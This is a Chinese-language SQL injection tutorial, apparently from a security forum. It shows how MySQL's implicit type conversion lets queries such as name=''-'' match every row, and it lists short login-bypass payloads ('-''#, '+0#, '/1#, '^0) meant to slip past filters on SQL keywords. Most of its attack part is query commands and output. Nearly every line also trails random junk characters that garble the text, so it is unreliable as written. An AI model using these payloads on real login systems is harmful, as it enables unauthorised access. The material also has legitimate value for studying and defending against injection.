我们先来看这样一个场景。2 s8 K1 i* g4 f) X. a7 u
有以下表结构: / Z+ ~; c( I6 d8 E- j) O
9 a: Y* Z/ u$ A `0 a4 I3 G7 Fmysql> desc admin;
. X0 @2 w/ y9 d' R8 f3 Q+----------+--------------+------+-----+---------+----------------+- l H! Y3 X$ W( H) z1 t; H) y. l
| Field | Type | Null | Key | Default | Extra |
; |7 q5 z* \- m; J+----------+--------------+------+-----+---------+----------------+" I( ^9 c6 X4 o! l1 p
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
3 g0 `* ?. @) B0 ^/ y| name | char(32) | NO | UNI | NULL | |: y( u* a* ~; F9 a6 `* J5 x* a' }, y
| password | char(32) | NO | UNI | NULL | |3 R8 h1 w4 `, j
+----------+--------------+------+-----+---------+----------------+% D5 E5 i+ o2 ]" c& P) o; E8 H7 o* N
3 rows in set (0.00 sec)
% G; a/ K/ H# H5 h) r执行select * from admin;,成功返回所有记录内容。
% P8 k2 P2 W/ N* W, W
6 x: u, o2 s/ C4 t2 a5 W4 i5 H* I" K) Z- V) U
+----+--------+----------------------------------+/ G! J- f% \+ o1 [+ D$ S5 s
| id | name | password |( }2 v( x J* l2 _9 e
+----+--------+----------------------------------+* N: ~- S4 i0 W" J+ c2 Y+ t- X( e
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |/ N. ^. M; S# A
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
' a: Q k- ~ Y7 S$ @) {5 Q| 4 | n00b | ff80e8508d39047460921792273533a4 |
5 `+ f: b! Y2 V+----+--------+----------------------------------+5 e: [& b$ X+ a O8 D
3 rows in set (0.00 sec)
- u1 C8 Q9 x& W X执行select * from admin where name=”;,没有匹配到任何记录。
8 H3 `0 m2 u2 \7 D- R
0 q" u0 g( j8 {! s$ g9 mmysql> select * from admin where name = '';( ?* O6 x1 M2 a9 t3 A
Empty set (0.00 sec)
2 r( p, [% y3 I, A: K- O1 y) A那么我们来执行select * from admin where name = ”-”;
/ t. l4 `* \# j: K" p5 K
6 J4 |7 N6 p; B6 w# E3 Y, L3 q+ F! U. q. }( K- P$ K
+----+--------+----------------------------------+
6 O' E3 I7 a) p# t! Z/ l0 S. F: H' y' I| id | name | password |
, N$ N3 ]5 G" h) l+----+--------+----------------------------------++ }1 B' j& B4 y4 ]: G/ ~
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |( z* i" s" R( l. y
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |* Y) Y& z Z* @! G# `. {5 W
| 4 | n00b | ff80e8508d39047460921792273533a4 |5 P3 o, s/ J( |! U3 b
+----+--------+----------------------------------+
- S3 X, T% b* |, u& \6 i! e3 rows in set, 3 warnings (0.00 sec)/ p+ y3 L% |7 @4 l9 b; C
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 9 W9 M6 B' G" n: m- P+ d
* `( g# B) m0 Z2 J9 wmysql> show warnings;
& f p _* ~. B0 ~3 t+ h+ N6 ^* D+---------+------+------------------------------------------! @6 W5 m+ X( n9 r/ F
| Level | Code | Message
R) S S$ ~+ z w# k4 A6 |- e4 e+---------+------+------------------------------------------
# p1 ?9 w. Q2 Q% h/ y! || Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
, L7 Y4 |0 H$ g4 ?; t| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s0 K) d3 N( `, T
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b U- N" u, s4 S5 o
+---------+------+------------------------------------------
* X' Z$ g$ o c: j" t ^3 rows in set (0.00 sec)
/ Y7 U, C; s) C! _, b' c# X. M: P! }8 V提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ) v0 ?' }2 f! \4 l6 f1 j
9 k3 Z# T6 e) q' A- \8 [mysql> select ''-'';
6 @) N( y/ I% R" a3 `+-------+
2 Y' b c% `8 U3 N) || ''-'' |: g4 \1 }7 R4 n n
+-------+; ^& E. p- u) J3 L6 i! E) @8 b
| 0 |
/ d7 Y2 Q5 o% R+-------+/ W0 X" v* z* v; c! c8 e z
1 row in set (0.00 sec)
: ~5 A- L; D" g返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
) K5 C, d0 U" \; J o" i) d4 T' V( Y5 ]3 x2 G6 p" v
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);, p) |; ~! c8 i
+-----------------------------------------------------+
5 q; _% I" I8 [- z, |/ x; _. W| CAST((select name from admin limit 1,1) as DECIMAL) |
8 Z7 d- ^. Z& T1 k+-----------------------------------------------------+
% N8 ?& z5 E _3 s% k| 0 |+ c4 n. D0 Y) X$ M$ F% r
+-----------------------------------------------------+2 P8 X9 b& A" V+ Y6 e) e
1 row in set, 1 warning (0.00 sec), m7 G# t M0 A4 |3 J8 k+ r
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
! t D5 C4 l% ~. E% n
' B0 _1 {$ X$ Z, hSQL注入场景: http://www.sqlzoo.net/hack/ 0 t" ?2 J* b. X l$ J" l8 ^
8 t5 t0 i. _# I/ Z! U
% | b" s" y: I4 {5 C, o/ O+ C5 N9 }3 g. B7 j$ H; F
7 L# [0 ]% T& T' b* Q0 G如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 8 d" E. f; |4 S* s
1 l ~' @6 A3 I! v那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 2 b' u- e: c6 E8 F4 V
" C U3 |" |. w: G7 E! D) O: O/ s6 D, p! @4 Y: h, H
; C& t1 ?5 P" `
! {1 P: r4 E' ~2 P; I* N9 S/ q( ~仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 1 D3 I; H7 K' k# c/ f5 d! g4 L7 K* _
# X0 E7 t1 _5 I. ^" i* t, _ 0 R6 g2 \2 }9 ^( e! j K
) k$ v8 Y. n3 e! d
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
2 u2 L3 d/ M. r( R4 k3 |
; X0 Z6 V W# G% [ J$ l. `- j/ c+ n' R) @ @4 K
mysql> select ''/1;- C" }' r. j" q8 J- Y8 D3 k- I* F
+------+
" o$ P' M0 U7 ^+ Q9 k+ p| ''/1 |/ _" N0 u( Z+ W% s
+------+, L: S" [/ S; Z# N% Z* E
| 0 |; P/ ?4 N* q5 [( H$ U
+------+) z+ g; w/ U* n* x, Q; ]6 C
1 row in set (0.00 sec)1 r: P, {6 C8 o: C" |
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
. Y# b- f# F3 w5 h9 w9 @5 u
H" f1 n w* c) `! p" ?利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。0 h6 R8 i4 Y- n4 \
|
|